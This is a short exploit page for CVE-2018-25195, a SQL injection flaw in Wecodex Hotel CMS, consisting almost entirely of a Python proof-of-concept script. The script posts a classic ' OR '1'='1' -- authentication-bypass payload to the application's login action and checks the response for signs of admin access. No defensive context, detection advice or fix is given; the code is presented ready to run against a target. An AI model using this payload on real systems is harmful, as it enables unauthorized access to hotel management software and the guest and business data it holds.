CVE-2018-25195 Wecodex Hotel CMS SQL注入漏洞

import requests # Target URL of the vulnerable application target_url = "http://target-ip/index.php" # SQL Injection payload to bypass login # This payload attempts to make the SQL condition always true payload = { "action": "processlogin", "username": "' OR '1'='1' -- ", "password": "random_password" } try: # Send POST request to the login endpoint response = requests.post(target_url, data=payload) # Check if the login was successful (adjust condition based on response) if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.text): print("[+] Exploit successful! Authentication bypassed.") else: print("[-] Exploit failed or response unexpected.") except Exception as e: print(f"[!] Error: {e}")